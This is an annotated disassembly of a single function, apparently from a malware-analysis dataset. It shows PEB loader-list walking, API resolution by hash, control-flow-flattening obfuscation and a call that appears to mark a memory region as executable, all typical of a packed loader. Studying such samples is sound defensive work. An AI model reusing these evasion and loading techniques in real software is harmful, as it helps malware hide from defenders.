Function at 0x403d40
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x38
mov eax, dword [0x44e82c]
lea ebx, [ebp - 0x1e]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov word [eax + 0xc], 0x1407
mov dword [eax + 8], 0x3011369
mov dword [eax + 4], 0x25181615
mov dword [eax], 0x14ff3619
lea eax, [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x44f4e8], eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push 0x9385646d
push dword [0x44f4e8]
call fcn.00403560
add esp, 8
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x3c]
call edx
push 0x27
push section..data
push 0x547
push 0x44e027
call section..text
add esp, 0x10
push 0xe
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call section..text
add esp, 0x10
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov eax, 0x3ea12ed0
cmp eax, 0x3ea12ecf
jle 0x403ec7
jmp 0x403f10
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemFileCacheSize]
call dword [eax]
push 0
call dword [edi]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov ecx, dword [0x44f550]
mov eax, dword [0x44f554]
lea edx, [ecx - 1]
imul edx, ecx
mov ecx, edx
and edx, 0x40c5267e
not ecx
and ecx, 0xbf3ad981
or edx, ecx
mov ecx, edx
xor edx, 0x9b0a4180
xor ecx, 0x40c5267e
and edx, 0x9b4e4388
mov esi, ecx
and ecx, 0xfffffffe
and esi, 0x64b1bc77
or esi, edx
xor esi, 0x64b1bc76
or ecx, esi
mov edx, ecx
and ecx, 0xaa77b4dc
not edx
and edx, 0x55884b23
or ecx, edx
xor ecx, 0xaa77b4dc
setne cl
sete dl
cmp eax, 0xa
setl ch
cmp eax, 9
setg al
and cl, ch
and al, dl
or cl, al
mov al, ch
or ch, dl
xor al, dl
xor ch, 1
mov edx, 0x5b4bb716
or ch, al
mov al, ch
xor al, cl
mov eax, 0x3d496942
cmovne edx, eax
test ch, ch
mov eax, 0x5b4bb716
cmovne eax, edx
test cl, cl
cmove eax, edx
nop
cmp eax, 0x3ea12ecf
jg 0x403f10
cmp eax, 0x10da6564
jle 0x403f40
cmp eax, 0x10da6565
je 0x404054
cmp eax, 0x285c10fa
je 0x40407f
cmp eax, 0x3d496942
jne 0x403ec0
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemFileCacheSize]
call dword [eax]
push 0
call dword [edi]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, 0x6a66f2d6
cmp eax, 0x3ea12ecf
jle 0x403ec7
nop dword [eax + eax]
cmp eax, 0x56d46d0c
jle 0x403fd0
cmp eax, 0x56d46d0d
je 0x40409b
cmp eax, 0x6a66f2d6
je 0x403e04
cmp eax, 0x5b4bb716
jne 0x403ec0
jmp 0x404192
cmp eax, 0xde0df672
je 0x4040cb
cmp eax, 0xef53f1a7
jne 0x403ec0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x44], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov edi, 0x44e027
mov dword [ebp - 0x24], eax
mov esi, dword [ebp - 0x24]
push esi
mov edx, edi
mov ecx, 0x27
xor ecx, 0x1af
add edx, ecx
mov ecx, 3
sub esp, 4
loop 0x403f82
mov dword [esp + 4], 1
xor dword [esp + 4], 0xbb8
mov dword [esp], edx
mov dword [esp + 8], 0
lea eax, [ebx]
push eax
ret
cmp eax, 0x3ea12ed0
je 0x4040e5
cmp eax, 0x46a93a28
jne 0x403ec0
mov eax, dword [0x44f550]
mov esi, 0x6a66f2d6
lea ecx, [eax - 1]
imul ecx, eax
mov eax, ecx
and ecx, 1
not eax
mov edx, eax
and edx, 0xfffffffe
or ecx, edx
xor eax, ecx
test eax, ecx
mov eax, dword [0x44f554]
sete cl
setne dl
cmp eax, 0xa
setl ch
cmp eax, 9
mov eax, 0x3d496942
setg dh
and ch, dl
and cl, dh
or dh, dl
or ch, cl
mov cl, dh
xor cl, ch
test ch, ch
cmovne eax, esi
test dh, dh
mov edx, 0x3d496942
cmovne eax, edx
test cl, cl
cmove eax, esi
cmp eax, 0x3ea12ecf
jle 0x403ec7
jmp 0x403f10
push dword [ebp - 0x40]
push dword [0x44f4e8]
call fcn.00403560
add esp, 8
mov dword [ebp - 0x28], eax
mov eax, 0xde0df672
xor ebx, ebx
cmp eax, 0x3ea12ecf
jle 0x403ec7
jmp 0x403f10
mov eax, 0x10da6565
mov dword [ebp - 0x40], 0x8aafdc01
cmp eax, 0x3ea12ecf
jle 0x403ec7
jmp 0x403f10
mov eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x38]
push ecx
push 0x40
push ebx
push 0x44e027
call eax
test eax, eax
mov eax, 0xef53f1a7
mov ecx, 0x46a93a28
cmove eax, ecx
cmp eax, 0x3ea12ecf
jle 0x403ec7
jmp 0x403f10
mov eax, 0x56d46d0d
mov ebx, 0x4e4
cmp eax, 0x3ea12ecf
jle 0x403ec7
jmp 0x403f10
mov ecx, 0xe04f40f1
mov dword [ebp - 0x24], 1
nop word cs:[eax + eax]
nop dword [eax + eax]
cmp ecx, 0xef40f50a
jg 0x404130
cmp ecx, 0xe04f40f1
je 0x404151
cmp ecx, 0xeb4e1355
jne 0x404100
mov ecx, 0xef40f50b
xor eax, eax
cmp ecx, 0xef40f50a
jle 0x404108
nop word [eax + eax]
cmp ecx, 0xef40f50b
je 0x40416c
cmp ecx, 0x5029b1f0
jne 0x404100
mov ecx, 0xef40f50b
mov al, 1
cmp ecx, 0xef40f50a
jle 0x404108
jmp 0x404130
cmp dword [ebp - 0x24], 0
mov ecx, 0xeb4e1355
mov edx, 0x5029b1f0
cmove ecx, edx
cmp ecx, 0xef40f50a
jle 0x404108
jmp 0x404130
test al, 1
mov eax, 0x285c10fa
mov ecx, 0x10da6565
mov dword [ebp - 0x40], 0
cmovne eax, ecx
cmp eax, 0x3ea12ecf
jle 0x403ec7
jmp 0x403f10
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e8c8
xor eax, eax
add esp, 0x38
pop esi
pop edi
pop ebx
pop ebp
ret